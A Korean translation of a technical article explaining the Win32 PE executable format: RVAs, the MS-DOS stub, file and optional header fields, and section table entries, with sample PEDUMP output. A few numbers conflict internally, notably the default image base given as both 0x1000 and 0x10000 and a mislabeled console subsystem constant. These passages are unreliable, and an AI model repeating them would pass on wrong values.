이러한 로딩 방식은 16비트 윈도우에서의 상황과 완전히 대조적이다. 16비트 NE 파일 로더는 파일의 일부분을 읽고 메모리 내에 있는 모듈을 표현하기 위한 완전히 새로운 자료 구조를 생성한다. 코드나 데이터 세그먼트가 로드되어야 할 필요가 있을때, 로더는 전역 힙으로 부터 새로운 세그먼트를 할당받고 가공되지 않은 데이터들이 어디에 저장되어있는지 찾고, 그 위치로 이동한 후, 가공되지 않은 데이터를 읽는다. 그리고는 수정해야할 사항들을 적용한다. 게다가, 각각의 16비트 모듈은 세그먼트가 버렸는지에 상관없이 그것이 지금 사용하고 있는 모든 셀렉터들을 기억해야할 필요가 있다.

Win32 에서는, 코드, 데이터, 리소스, 임포트 테이블, 익스포트 테이블및 필요한 다른 모듈 자료 구조들을 위해서 모듈에서 사용되는 모든 메모리는 메모리의 인접한 블록에 위치해 있다. 이러한 상황에서 알아야할 모든것은 로더가 파일을 메모리의 어디로 맵핑했는지이다. 모듈의 모든 다양한 조각들을 아래에 설명하는 이미지의 일부로 저장되어 있는 포인터를 사용해서 쉽게 찾을 수 있다.

다른 가장 중요한 아이디어는 상대 가상 주소(RVA)이다. PE 파일의 많은 필드들은 RVA관점에서 표시하고 있다. RVA는간단하게 파일이 메모리 맵된 곳으로부터 상대적인 몇가지 아이템들의 오프셋이다. 예를들면, 로더가 PE 파일을 가상 주소 공간의 0x1000으로 시작되는 메모리로 맵핑했다고 가정해 보자. 그리고 이미지에 포함된 실제 테이블은 0x10464라는 주소에서 시작된다면, 그 테이블의 RVA는 0x464가 된다.

(Virtual address 0x10464)-(base address 0x10000) = RVA 0x00464

RVA를 쓸모있는 포인터로 변환하기 위해서는, 간단하게 모듈의 베이스 주소에 RVA를 더해주면 된다. 베이스 주소는 EXE나 DLL의 메모리 맵 시작 주소이며 Win32에서 중요한 컨셉이다. 편의상, 윈도우 NT와 윈도우 95는 모듈의 인스턴스 핸들(HINSTANCE)로 모듈의 베이스 주소를 사용한다. Win32에서 모듈의 베이스 주소를 HINSTANCE라 부르는 것은 뭔가 혼란 스럽다. 왜냐하면 "인스턴스 핸들"이라는 용어는 16비트 윈도우에서 유래되었기 때문이다.

16비트 윈도우에서 각각의 애플리케이션 복사본은 다른 복사본과 구분되는 자신만의 독립된 데이터 세그먼트(전역 핸들과 연관되어 있다.)를 할당받는다. 여기에서 인스턴스 핸들이라는 용어가 나온것이다. Win32에서 애플리케이션은 다른 것들과 구분될 필요가 없다. 왜냐하면 동일한 주소 공간을 공유하지 않기 때문이다. 지금까지도, HISTANCE라는 용어는 16비트 윈도우와 32비트 윈도우의 연속성을 유지하기위해서 살아남아있다. Win32를 위해서 중요한 것은 프로세스가 모듈의 콤포넌트를 접근하기 위한 포인터를 얻기위해서 GetModuleHandle 호출할 수 있다는 것이다.

PE파일과 관련해서 마지막으로 알아야할 컨셉은 섹션이다. PE파일내의 섹션은 NE 파일에서의 세그먼트나 리소스와 크게는 비슷한 것이다. 섹션은 코드와 데이터를 모두 포함하고 있다. 세그먼트와 달리, 섹션은 사이즈의 제약없이 연속된 메모리 블록이다. 몇가지 섹션은 프로그램에서 직접 선언하고 사용하는 코드나 데이터를 포함한다. 반면에 다른 섹션은 링커와 라이브러리에 의해서 생성된 것이며 운영체제와 관련한 중요한 정보를 포함하고 있다. 몇몇 PE 포맷에 대한 설명에서, 섹션을 또한 오브젝트라고 부르기도 한다. 오브젝트라는 용어는 너무 많은 중첩된 의미를 가지고 있다. 그래서 나는 코드와 데이터 영역을 섹션이라고 부르는 것을 선호한다.

PE 헤더
모든 다른 파일 포맷과 마찬가지로, PE 파일도 파일의 나머지 부분이 어떻게 보일지 정의하는 알려진 (찾기 쉬운) 위치에 있는 필드들을 가지고 있다. 이 헤더는 코드와 데이터 영역의 위치와 사이즈, 운영체제에서 정한것으로 스택 크기와 앞으로 짧게 설명할 다른 중요한 정보 조각들의 정보를 포함하고 있다. 마이크로소프트사에서 만든 다른 실행 포맷처럼, 이 메인 헤더는 파일의 시작 부분에 있지 않다. 전형적인 PE파일의 처음 수백 바이트는 MS-DOS 스텁으로 구성된다. 이 스텁은 "This program cannot be run in MS-DOS mode."라는 것을 출력하고 그러한 효과를 지닌 작은 프로그램이다. 따라서 만약 Win32 기반의 프로그램을 Win32를 지원하지 않는 환경에서 실행하게 되면, 해당 메시지를 출력하게 된다. Win32 로더가 PE 파일을 메모리 맵할때, 메모리 맵 파일의 첫번째 바이트는 MS-DOS 스텁의 첫번째 바이트와 일치한다. 맞다. Win32 기반의 프로그램이 시작할때마다, MS-DOS 기반의 프로그램또한 공짜로 로드되는 것이다.

다른 마이크로소프트 실행 포맷과 같이, 진짜 헤더는 MS-DOS 스텁 헤더에 저장되어져있는 시작 오프셋을 조사해서 찾을수 있다. WINNT.H 파일은 PE 헤더가 어디서 시작하는지 찾기 쉽게 만들기 위해서 MS-DOS 스텁 헤더를 위한 구조체 정의를 포함하고 있다. e_lfanew 필드는 실질적인 PE 헤더에 대한 상대적인 오프셋(RVA) 이다. 메모리에서 PE 헤더를 가리키는 포인터를 얻기 위해서는, 단지 해당 필드의 값을 이미지 베이스 주소에 더하기만 하면 된다.

// Ignoring typecasts and pointer conversion issues for clarity...
pNTHeader = dosHeader + dosHeader->e_lfanew;

메인 PE 헤더에 대한 포인터를 한번 얻고나면, 재미있는 일들이 시작된다. 메인 PE 헤더는 WINNT.H에 정의된 IMAGE_NT_HEADERS라는 타입의 구조체이다. 이 구조체는 DWORD와 두개의 서브 구조체로 구성되고 아래에 나오는 것과 같은 순서로 놓여져있다.

DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER OptionalHeader;

아스키 텍스트로 보여지는 Singnature 필드는 "PE\0\0"이다. 16비트 윈도우의 NE파일에서는 MS-DOS헤더 내에 포함된 e_lfanew 필드를 사용해서 포인터를 구했을때, PE 대신 NE 시그니처를 볼 수 있다. 같은 이치로, 윈도우즈 3.x 가상 디바이스 드라이버 (VxD)에서는 시그니처 필드에 LE가 나타난다.

PE 헤더에서 PE 시그니쳐 DWORD 다음에 따라 나오는것은 IMAGE_FILE_HEADER 타입의 구조체이다. 이 구조체의 필드들은 단순히 파일에 관한 가장 기초적인 정보들만 포함하고 있다. 이 구조체는 오리지널 COFF 구현과 동일한 것으로 보인다. 게다가 PE 헤더의 일부일뿐만 아니라, 그것은 또한 마이크로소프트 Win32 컴파일러가 생성한 COFF OBJ의 시작 부분에도 나타난다. Table 2에 IMAGE_FILE_HEADER의 필드들이 표시되어 있다.

Table 2. IMAGE_FILE_HEADER 필드

WORD Machine
이 파일이 사용되도록 계획된 CPU. 아래의 CPU ID가 정의되어 있다.: 0x14d는 인텔 i860을 의미한다.
0x14c 인텔 i386 (486과 586에도 동일한 ID)
0x162 MIPS R3000
0x166 MIPS R4000
0x183 DEC Alpha AXP



WORD NumberOfSections
파일에 있는 섹션 갯수



DWORD TimeDateStamp
링커(또는 OBJ파일을 생성한 컴파일러)가 파일을 생성한 시간. 이 필드는 1969-12-31 4:00 부터의 초를 카운트하는 숫자이다.



DWORD PointerToSymbolTable
COFF 심볼 테이블의 파일 오프셋
이 필드는 COFF 디버그 정보를 가진 OBJ 파일과 PE파일에서만 사용한다.
PE 파일은 다양한 디버그 포맷을 지원한다. 그래서 디버거는 데이타 디렉토리(후에 정의된) 에 있는IMAGE_DIRECTORY_ENTRY_DEBUG 엔트리를 참조 하기만 하면 된다.



DWORD NumberOfSymbols
COFF 심볼 테이블에 있는 심볼 갯수. 위의 내용 참고.



WORD SizeOfOptionalHeader
이 구조체 다음에 나올 수 있는 추가적인 헤더의 크기.
OBJ 파일에서, 이 필드는 0이다. 실행파일에서는, 이 구조체 뒤에 따라 나오는 IMAGE_OPTIONAL_HEADER 구조체의 크기이다.



WORD Characteristics
파일과 관련된 정보 플래그. 중요한 필드들: 0x0001 이 파일에서는 재배치가 없다.
0x0002 파일은 실행 가능한 이미지이다. (OBJ나 LIB가 아니다.)
0x2000 파일은 프로그램이 아닌 동적 연결 라이브러이다.



WINNT.H에 정의된 다른 필드들
PE 헤더의 세번째 컴포넌트는 IMAGE_OPTIONAL_HEADER 타입의 구조체 이다. PE 파일에서는 이 부분은 확실히 옵션이 아니다. COFF 포맷은 표준 IMAGE_FILE_HEADER와 관련된 추가적인 정보로 구성된 구조체를 정의하기 위해서 개개의 구현을 허용한다. IMAGE_OPTIONAL_HEADER에 있는 필드들은 PE 디자이너들이 IMAGE_FILE_HEADER에 있는 기초적인 정보 이상으로 중요한 정보라고 느낀 것들이다.



IMAGE_OPTIONAL_HEADER의 모든 필드들에 관해서 알 필요는 없다. (Figure 4를 보라) 알고있어야 할 더 중요한 것은 ImageBase와 Subsystem 필드이다. 필드에 관한 설명을 훑어보거나 건너뛰어도 된다.

Table 3. IMAGE_OPTIONAL_HEADER 필드

WORD Magic
어느정도 시그니쳐 워드(WORD)로 보임. 항상 0x010B로 셋팅되어 있다.



BYTE MinorLinkerVersion
이 피알을 생성한 링커의 버전.
숫자는 16진수가 아닌 10진 값으로 출력되어야 한다. 전형적인 링커 버전은 2.23이다.



DWORD SizeOfCode
모든 코드 섹션을 합한 사이즈.
일반적으로, 대부분의 파일은 하나의 코드 섹션을 가지고 있다, 그래서 이 필드는 .text 섹션의 크기와 일치한다.



DWORD SizeOfInitializedData
이것은 초기화된 데이터로 구성된 섹션의 전체 크기로 추정된다. (코드 세그먼트를 포함하지 않은)
그러나, 이것은 파일에서 무엇이 나오는지 일정하지 않다.



DWORD SizeOfUninitializedData
로더가 가상 주소 공간위에 프로그램을 위해서 할당한 영역위에 있는 섹션의 크기, 그러나 디스크 파일에서는 어떠한 공간도 가지지 않는다. 이 섹션들은 프로그램 시작시 특정한 값을 가질 필요가 없다. 그래서 초기화 되지 않은 데이터란 용어를 사용했다. 초기화되지않은 데이터는 일반적으로 .bss로 불리는 섹션으로 통한다.



DWORD AddressOfEntryPoint
로더가 실행을 시작하는 주소. 이것은 RVA이다. 그리고 일반적으로 .text섹션에서 발견된다.



DWORD BaseOfCode
파일의 코드 섹션들이 시작되는 곳의 RVA. 코드 섹션들은 전형적으로 메모리에서 data 섹션들 이전에 나타나며 PE 헤더 이후에 나타난다. 이 RVA는 마이크로소프트 링커가 생성한 EXE들에서는 보통 0x10000이다. 볼랜드의 TLINK32는 이미지 베이스 주소에 첫번째 코드 섹션의 RVA를 더한후에 그것을 이 필드에 저장한다.



DWORD BaseOfData
파일의 데이터 섹션이 시작하는 곳의 RVA. 데이터 섹션은 통상적으로 메모리에서 PE헤더와 코드 섹션 다음의 마지막 부분에 오게 된다.



DWORD ImageBase
링커가 실행 파일을 만들때, 링커는 파일이 메모리의 어느 위치에 메모리 맵될지 가정한다. 그 주소가 이 필드에 저장되어 있다. 로드 주소를 가정하는 것은 링커가 최적화를 할 수 있게한다. 만약 파일이 로더에 의해서 실제로 그 주소로 메모리 맵된다면, 코드는 실행되기 전에 어떠한 패치도 할 필요가 없게 된다. 윈도우 NT를 위해서 생성된 실행파일에서는, 기본 이미지 베이스 주소는 0x1000이다. DLL에서는 기본값이 0x400000이다. 윈도우 95에서는 0x10000주소는 32비트 EXE파일을 로드하는데 사용할 수 없다. 왜냐하면 선형적인 주소공간을 모든 프로세스가 공유해서 사용하기 때문이다. 이러한 이유때문에, 마이크로소프는 Win32 실행 파일의 기본 베이스 주소를 0x400000로 변경했다. 로더가 베이스 주소를 재배치해야할 필요가 있기 때문에, 0x10000을 기본 주소로 가정하고 링크된 오래된 프로그램은 Win95 환경 아래에서는 로드시간이 더 길게 된다.



DWORD SectionAlignment
메모리로 맵될때, 각각의 섹션은 이 값의 배수가 되는 가상 주소에서 시작된다는 것을 보장받는다. 페이징과 같은 목적 때문에, 기본 섹션 정렬 값은 0x1000이다.



DWORD FileAlignment
PE 파일에서, 각각의 섹션은 이 값의 배수가 되는 곳에서 시작하도록 보장받는데 합의한 값. 기본 값은 0x200 바이트이다. 아마도 섹션은 항상 디스크 섹터(이것 또한 0x200 바이트)의 시작 지점에서 시작한다는 것을 보장해야 하기 때문일 것이다. 이 필드는 NE 파일의 세그먼트/리소스 정렬 크기와 같다. NE 파일과는 다르게, PE 파일은 전형적으로 수백개의 섹션을 가지지 않는다. 따라서 파일 섹션 정렬때문에 낭비되는 공간은 아주 작다.



WORD MajorOperatingSystemVersion
WORD MinorOperatingSystemVersion
이 실행 파일을 실행하는데 요구되는 최소한의 운영체제 버전. 이 필드는 다소 난해하다. 서브시스템 필드(추후에 소개될)또한 같은 목적으로 예약된 것처럼 보이기 때문이다. 현재까지 모든 Win32 Exe 파일에서 이 필드의 기본값은 1.0이다.



WORD MajorImageVersion
WORD MinorImageVersion
사용자가 정의할 수 있는 필드이다. 이것은 EXE나 DLL을 다른 버전으로 만들 수 있게 허용한다. 링커의 /VERSION 스위치를 사용해서 이 필드를 설정할 수 있다. 예를 들면, "LINK /VERSION:2.0 myobj.obj".



WORD MajorSubsystemVersion
WORD MinorSubsystemVersion
실행 파일을 실행하는데 요구되는 서브시스템의 최소 버전번호를 포함하고 있다. 이 필드의 일반적인 값은 3.10이다. (윈도우 NT 3.1을 의미한다.)



DWORD Reserved1
항상 0으로 설정하는 것으로 보인다.



DWORD SizeOfImage
로더가 걱정하는 이미지 일부의 전체 크기로 추정된다. 이것은 이미지의 베이스 주소에서 시작해서 마지막 섹션 끝까지의 영역의 크기를 말한다. 마지막 섹션의 끝은 섹션 정렬의 배수 근처에 있게 된다.



DWORD SizeOfHeaders
The size of the PE header and the section (object) table. The raw data for the sections starts immediately after all the header components. PE 헤더와 (오브젝트) 테이블 섹션의 크기이다. 이 섹션의 바이너리 데이터는 모든 헤더 구성 요소 다음에 바로 위치한다.



DWORD CheckSum
아마도 파일의 CRC 체크섬인 것 같다. 다른 마이크로소프트의 실행 파일 포맷에서 이 필드는 0으로 설정되고 무시된다. 이 방법이 통하지 않는 한가는 예외는 신뢰된 서비스이다. 이 EXE 파일은 반드시 정확한 체크섬 값을 가지고 있어야 한다.



WORD Subsystem
실행 파일이 유저 인터페이스로 사용하는 서브시스템 타입. WINNT.H는 다음과 같은 값들을 정의하고 있다.
NATIVE 1 서브시스템을 요구하지 않는다.(디바이스 드라이버 같은것들)
WINDOWS_GUI 2 윈도우 GUI 서브시스템에서 실행된다.
WINDOWS_GUI 3 윈도우 문자 서브시스템에서 실행된다. (콘솔 애플리케이션)
OS2_CUI 5 OS/2 문자 서브시스템에서 실행된다. (OS/2 1.x 애플리케이션만 적용된다.)
POSIX_CUI 7 Posix 문자 서브시스템에서 실행된다.



WORD DllCharacteristics
DLL의 초기화 함수(DllMain과 같은)가 호출되는 환경과 관련된 플래그 집합. 이 값은 항상 0으로 설정되는 것으로 보인다. 그러나 운영체제는 여전히 DLL 초기화 함수를 항상 모든 4가지 이벤트에 맞추어서 호출한다. 아래와 같은 값들이 정의되어 있다.
1. DLL이 프로세스 주소 공간으로 처음 로딩될 때.
2. 쓰레드가 종료될 때.
3. 쓰레드가 시작될 때.
4. DLL이 종료될 때.



DWORD SizeOfStackReserve
초기 쓰레드의 스택을 위해서 예약해야할 가상 메모리의 크기. 다음 필드를 참고해 보면 이 메모리 전부가 실제 메모리로 사용되지 않는다는 것을 알 수 있다. 이 필드의 기본값은 0x100000 (1MB) 이다. 만약 CreateThread에서 스택 크기를 0으로 설정했다면 그 결과과 만들어진 쓰레드는 이것과 동일한 크기의 스택을 가지게 된다.



DWORD SizeOfStackCommit
초기 쓰레드의 스택을 위해서 사용하는 실제 메모리의 크기. 마이크로소프트 링커는 기본적으로 이 필드를 0x1000(1페이지) 바이트로 설정된다. 반면에 TLINK32는 2 페이지로 만든다.



DWORD SizeOfHeapReserve
초기 프로세스의 힙으로 예약해야할 가상 메모리의 크기. 이 힙 핸들은 GetProcessHeap함수를 호출해서 얻을 수 있다. 이 메모리 모두가 실제 메모리로 사용되지 않는다. (다음 필드를 보라)



DWORD SizeOfHeapCommit
초기 프로세스 힙으로 사용될 실제 메모리의 크기. 기본적으로 1페이지가 설정된다.



DWORD LoaderFlags
WINNT.H에 의하면 이것은 디버깅 지원과 관련된 필드로 보인다. 나는 이제껏 한번도 이 비트를 활성화 시켜둔 실행 파일을 본적이없을 뿐 아니라, 링커가 이 필드를 설정하게 하는 방법또한 확실치 않다. 다음과 같은 값들이 정의되어져 있다.

1. 프로세스를 시작하기 전에 브레이크 포인트 명령을 실행한다.
2. 프로세스가 로드된 이후에 디버거를 실행한다.



DWORD NumberOfRvaAndSizes
DataDirectory 배열 (아래에 나오는)에 있는 엔트리 갯수. 이 값은 현재까지 툴에서는 항상 16으로 설정한다.



IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]

IMAGE_DATA_DIRECTORY 구조체의 배열이다. 배열의 초기 값은 실행 파일의 중요한 부분의 RVA 시작 지점과 크기을 포함하고 있다. 배열 끝의 몇가지 항목은 현재까지는 사용되지 않는다. 배열의 첫번째 요소는 항상 익스포트 함수 테이블(만약 존재한다면) 의 주소와 크기를 가지고 있다. 두번째 배열의 항목은 임포트된 함수 테이블의 주소와 크기를 가지고 있다. 정의된 배열 항목에 대한 완전한 리스트는 WINNT.H에서 #define으로 선언된 IMAGE_DIRECTORY_ENTRY_XXX를 참고하면 된다. 이 배열은 각각의 이미지 섹션을 순회하면서 같은 이름이 있는지 비교하지 않고 로더가 이미지의 특정한 섹션을 빨리 찾을 수 있도록 도와준다. (예를들면, 임포트된 함수 테이블과 같은 것이다.) 대부분의 배열 항목은 전체 섹션 데이터에 대한 정보를 가지고 있다. 그러나, IMAGE_DIRECTORY_ENTRY_DEBUG 항목은 .rdata 섹션의 일부 바이트만을 포함한다.



섹션 테이블
PE 헤더와 바이너리 데이터 데이터 사이에는 이미지의 섹션을 위한 섹션 테이블이 위치해 있다. 섹션 테이블은 본질적으로 이미지에 포함된 각각의 섹션과 관련된 정보를 가지고 있는 전화번호부와 같은 역할을 한다. 이미지에 포함된 섹션은 알파벳순이 아닌, 시작 주소(RVA)에 의해서 정렬된다.

이제 섹션이 무엇인지 좀 더 명확하게 할 수 있다. NE 파일에서, 프로그램의 코드와 데이터는 파일의 구분된 "세그먼트"내에서 정렬되어진다. NE 헤더중의 일부는 프로그램이 사용하는 각각의 세그먼트의 구조체 배열이다. 배열속의 각각의 구조체는 하나의 세그먼트에 대한 정보를 가지고 있다. 저장되어져있는 정보는 세그먼트의 타입(코드냐 데이터냐), 크기, 그리고 파일에서 저장된 위치에 대한 것들을 포함한다. PE 파일에서, 섹션 테이블은 NE 파일의 세그먼트 테이블과 유사하다. 반면에 NE 파일의 세그먼트 테이블과는 대조적으로 각각의 섹션 테이블 항목은 파일의 바이너리 데이터가 메모리로 맵핑되는 위치에 대한 주소를 저장하고 있다. 섹션이 32비트 세그먼트와 유사하지만, 섹션이 실제로 각각의 세그먼트가 되는 것은 아니다. 그것들은 단지 프로세스의 가상 주소 공간에서 메모리 범위일 뿐이다.

또 다른 PE 파일이 NE 파일의 차이점은 프로그램이 사용하지 않고 운영체제에서 사용하는 지원(서포팅) 데이터들을 다루는 방법이다. 예를들면, 실행 파일이 사용하는 DLL의 목록이나 픽스업 테이블의 위치와 같은 것이다. NE 파일에서는, 리소스는 세그먼트로 고려되지 않는다. 비록 리소스에 할당된 셀렉터들이 있다고 하더라도, 리소스와 관련된 정보는 NE 헤더의 세그먼트 테이블에 저장되지 않는다. 대신에, 리소스는 NE 헤더의 마지막에 위차한 분리된 테이블내에 저장된다. 임포트되거나 익스포트된 함수와 관련된 정보 또한 독립된 세그먼트를 가질 권리가 없다. 해당 정보들은 NE 헤더에 포함된다.

PE파일에서는 이 모든 이야기가 틀리게 된다. 필수적인 코드와 데이터로 고려되는 모든것은 완전한 섹션속에 저장된다. 그래서 임포트된 함수와 관련된 정보는 독립된 섹션에 저장되며, 익스포트된 함수 테으블또한 그렇게 된다. 재배치 데이터와 관련된 것들도 동일한 방식으로 처리된다. 프로그램 또는 운영체제에서 필요한 어떠한 코드나 데이터도 그들의 독립적인 섹션을 가지게 된다.

특정 섹션과 관련된 논의를 하기 전에, 운영체제가 다루는 섹션과 관련된 데이터를 먼저 설명할 필요가 있다. 메모리에서 PE 헤더 바로 뒤에는 IMAGE_SECTION_HEADER의 배열이 오게 된다. 배열 항목의 갯수는 PE 헤더에서 알 수 있다. (IMAGE_NT_HEADER.FileHeader.NumberOfSections 필드) 섹션 테이블과 모든 섹션 필드와 속성을 출력하기 위해서 PEDUMP를 사용했다. 그림 5는 PEDUMP의 보편적인 EXE 파일의 섹션 테이블 출력 결과를 보여주고, 그림 6은 OBJ 파일의 섹션 테이블을 보여준다.

Table 4. A Typical Section Table from an EXE File

01 .text VirtSize: 00005AFA VirtAddr: 00001000
raw data offs: 00000400 raw data size: 00005C00
relocation offs: 00000000 relocations: 00000000
line # offs: 00009220 line #'s: 0000020C
characteristics: 60000020
CODE MEM_EXECUTE MEM_READ

02 .bss VirtSize: 00001438 VirtAddr: 00007000
raw data offs: 00000000 raw data size: 00001600
relocation offs: 00000000 relocations: 00000000
line # offs: 00000000 line #'s: 00000000
characteristics: C0000080
UNINITIALIZED_DATA MEM_READ MEM_WRITE

03 .rdata VirtSize: 0000015C VirtAddr: 00009000
raw data offs: 00006000 raw data size: 00000200
relocation offs: 00000000 relocations: 00000000
line # offs: 00000000 line #'s: 00000000
characteristics: 40000040
INITIALIZED_DATA MEM_READ

04 .data VirtSize: 0000239C VirtAddr: 0000A000
raw data offs: 00006200 raw data size: 00002400
relocation offs: 00000000 relocations: 00000000
line # offs: 00000000 line #'s: 00000000
characteristics: C0000040
INITIALIZED_DATA MEM_READ MEM_WRITE

05 .idata VirtSize: 0000033E VirtAddr: 0000D000
raw data offs: 00008600 raw data size: 00000400
relocation offs: 00000000 relocations: 00000000
line # offs: 00000000 line #'s: 00000000
characteristics: C0000040
INITIALIZED_DATA MEM_READ MEM_WRITE

06 .reloc VirtSize: 000006CE VirtAddr: 0000E000
raw data offs: 00008A00 raw data size: 00000800
relocation offs: 00000000 relocations: 00000000
line # offs: 00000000 line #'s: 00000000
characteristics: 42000040
INITIALIZED_DATA MEM_DISCARDABLE MEM_READ[/code]

[color=red][b]Table 5. A Typical Section Table from an OBJ File [/b][/color]
[code]01 .drectve PhysAddr: 00000000 VirtAddr: 00000000
raw data offs: 000000DC raw data size: 00000026
relocation offs: 00000000 relocations: 00000000
line # offs: 00000000 line #'s: 00000000
characteristics: 00100A00
LNK_INFO LNK_REMOVE

02 .debug$S PhysAddr: 00000026 VirtAddr: 00000000
raw data offs: 00000102 raw data size: 000016D0
relocation offs: 000017D2 relocations: 00000032
line # offs: 00000000 line #'s: 00000000
characteristics: 42100048
INITIALIZED_DATA MEM_DISCARDABLE MEM_READ

03 .data PhysAddr: 000016F6 VirtAddr: 00000000
raw data offs: 000019C6 raw data size: 00000D87
relocation offs: 0000274D relocations: 00000045
line # offs: 00000000 line #'s: 00000000
characteristics: C0400040
INITIALIZED_DATA MEM_READ MEM_WRITE

04 .text PhysAddr: 0000247D VirtAddr: 00000000
raw data offs: 000029FF raw data size: 000010DA
relocation offs: 00003AD9 relocations: 000000E9
line # offs: 000043F3 line #'s: 000000D9
characteristics: 60500020
CODE MEM_EXECUTE MEM_READ

05 .debug$T PhysAddr: 00003557 VirtAddr: 00000000
raw data offs: 00004909 raw data size: 00000030
relocation offs: 00000000 relocations: 00000000
line # offs: 00000000 line #'s: 00000000
characteristics: 42100048
INITIALIZED_DATA MEM_DISCARDABLE MEM_READ

각각의 IMAGE_SECTION_HEADER는 그림 7에서 묘사된 것과 같은 포맷을 가지고 있다. 각각의 섹션을 위해서 저장된 정보중에 무엇이 빠졌는지 알아내는 것은 흥미로운 작업이다. 첫째로, PRELOAD 속성을 위한 어떤 표시도 없다는 점이다. NE 파일 포맷은 PRELOAD 속성을 통해서 어떠한 세그먼트가 모듈이 로드되는 시점에 같이 로드되어야 하는지 결정한다.Os/2 2.0 LX 포맷은 8페이지까지 먼저 로드되어야 하는 것으로 지정할 수 있다는 점에서 유사하다. PE 포맷은 이런 유사한 것이 아무것도 없다. 마이크로소프트는 Win32 의존적인 페이지 로딩의 성능을 확신했음에 틀림없다.

Table 6. IMAGE_SECTION_HEADER 포맷

BYTE Name[IMAGE_SIZEOF_SHORT_NAME] 이것은 8바이트 안시로된 섹션 이름이다(유니코드가 아니다). 대부분의 섹션명은 .로 시작된다. (예를들면 ".text"), 그러나 몇몇 믿을만한 PE 문서에서 보면 이것은 요구사항은 아니다. 어셈블리 언어에서는 segment 지시자를 사용해서 섹션명을 지을 수 있고, 마이크로소프트의 C/C++ 컴파일러에서는 "#pragma data_seg"와 "#pragama code_seg"를 사용해서 지을 수 있다. 섹션명이 8바이트를 넘을 경우에는 NULL 종료 문자가 없게 된다는 것을 알아야 한다. 만약 devotee라는 섹션명을 출력코자 할 경우에는, %.8s를 사용해서 추가로 다른 버퍼에 복사하지 않고 출력할 수 있다.

union {
DWORD PhysicalAddress
DWORD VirtualSize
} Misc;

이 필드는 EXE와 OBJ 파일에서 다른 의미를 지니게 된다. EXE파일에서는, 이 필드는 코드와 데이터의 실제 사이즈를 가지고 있다. 이것은 파일 정렬 경계의 배수근처에서 반올림 되기전의 크기가 된다. 추후에 설명될 구조체의 SizeOfRawData 필드는 (약간 잘못된 명칭으로 보인다) 반올림된 값을 가지고 있다. 볼랜드 링커는 이 두 필드의 의미를 역으로 만들었으나 지금은 고쳐진 것으로 보인다. OBJ 파일에서는, 이 필드는 섹션의 물리적인 주소와 관련되어 있다. 첫번째 섹션은 0번지에서 시작한다. 따라서 OBJ 파일에서 다음 섹션의 물리적인 주소를 찾으려면, SizeOfRawData 값에 현재 섹션의 물리 주소를 더하면 된다.

DWORD VirtualAddress
EXE 파일에서는 로더가 섹션을 맵핑해야 하는 곳의 RVA를 저장하고 있다. 메모리에서 주어진 섹션의 실제 시작 주소를 계산하기 위해서는, 이미지의 베이스 주소에 이 필드에 저장된 섹션의 가상 주소를 더해주면 된다. 마이크로소프트 툴에서는 첫번째 섹션의 기본값은 0x1000 RVA로 되어 있다. OBJ 파일에서는 이 필드는 의미가 없으며 0으로 설정되어 있다.



DWORD SizeOfRawData
EXE 파일에서는, 이 필드는 파일 정렬 크기에서 반올림 된 후 섹션의 크기를 담고 있다. 예를 들면, 파일 정렬 크기가 0x200이라고 가정해 보자. 위에서 언급한 그 섹션에 대한 VirtualSize가 0x35A 바이트였다고 한다면, 이 필드는 0x400 바이트가 되는 것이다. OBJ 파일에서는, 이 필드는 컴파일러와 어셈블러에서 종결한 그 섹션의 정확한 크기를 담고 있다. 다시말하면, OBJ에서는 EXE 파일에서의 VirtualSize와 동일한 의미를 가진다는 것이다.



DWORD PointerToRawData
이 것은 컴파일러나 어셈블러가 종결한 바이너리 데이터를 찾을 수 있는 곳에 대한 파일 기반의 오프셋이다. 프로그램이 PE나 COFF 파일을 스스로 메모리 맵하려고 한다면(운영체제가 그것을 로드하는 대신에), 이 필드는 VIrtualAddress 필드보다 더 중요하다. 이 상황에서는 완전히 선형적인 파일 맵핑이 이루어지게 된다. 따라서 섹션 데이터를 VritaulAddress 필드가 가리키는 RVA에서 보다는 이 필드가 가리키는 오프셋에서 찾을 수 있다.



DWORD PointerToRelocations
OBJ 파일에서, 이것은 이 섹션에 대한 재배치 정보를 가리키는 파일 기반의 오프셋이다. 각각의 OBJ 섹션에 대한 재배치 정보는 해당 섹션에 대한 바이너리 데이터 바로 뒤에 따라온다. EXE 파일에서, 이 필드는 (아래에 나오는 필드또한) 의미가 없으며, 0으로 설정된다. 링커가 EXE파일을 만들때, 베이스 주소 재배치와 로드 타임에 해결되어야 할 임포트된 함수를 남겨둔 나머지 대부분의 수정 사항을 모두 수정한다. 베이스 주소 재배치와 임포트된 함수와 관련된 정보는 각각의 섹션에 저장되게 된다. 따라서 EXE 파일이 바이너리 섹션 데이터에 따라 나오는 섹션별 재배치 데이터를 가질 필요가 없는 것이다.



DWORD PointerToLinenumbers
이것은 라인 번호 테이블의 파일 기반 오프셋이다. 라인 번호 테이블은 소스 파일의 라인 번호와 주어진 라인에 대해서 생성된 코드의 주소를 서로 연관시킨다. CodeView 포맷과 같은 현대의 디버그 포맷에서는, 라인 번호 정보는 디버그 정보의 일부로 저장된다. 그러나 COFF 디버그 포맷에서는 라인 번호 정보는 심볼 이름/타입 정보와 분리되어서 저장된다. 일반적으로 단지 코드 섹션(.text같은)만이 라인 번호를 가진다. EXE 파일에서는, 라인 번호는 섹션 바이너리 데이터 다음부터 파일 끝까지 수집되게 된다. OBJ 파일에서는, 섹션의 라인 번호 테이블은 바이너리 섹션 데이터와 섹션 재배치 테이블 다음에 오게 된다.



WORD NumberOfRelocations
섹션에 포함된 재배치 테이블(위의 PointerToRelocations 필드) 안의 재배치 갯수. 이 필드는 단지 OBJ 파일에서만 유효한 것으로 보인다.



WORD NumberOfLinenumbers
섹션 라인 번호 테이블(위에서 말한 PointerToLinenumbers)에서 라인 번호 갯수



DWORD Characteristics
대부분의 프로그래머가 플래그라 부르는 것을 COFF/PE 포맷에서는 속성(characteristics)라 부른다. 이 필드는 섹션 속성과 관련된 플래그 집합(코드/데이터냐?, 읽기가능? 쓰기가능?)이다. 모든 가능한 섹션 속성은 WNNT.H에서 IMAGE_SCN_XXX_XXX형태로 #define 된 것으로 찾을 수 있다. 몇가지 중요한 속성으로 다음과 같은 것들이 있다.



0x00000020 이 섹션은 코드를 포함하고 있다. 일반적으로 실행 가능 플래그(0x80000000)와 결합해서 사용된다.

0x00000040 이 섹션은 초기화된 데이터를 포함하고 있다. 실행 가능하지않은 거의 대부분의 섹션과 .bss 섹션은 이 플래그가 설정되어져 있다.

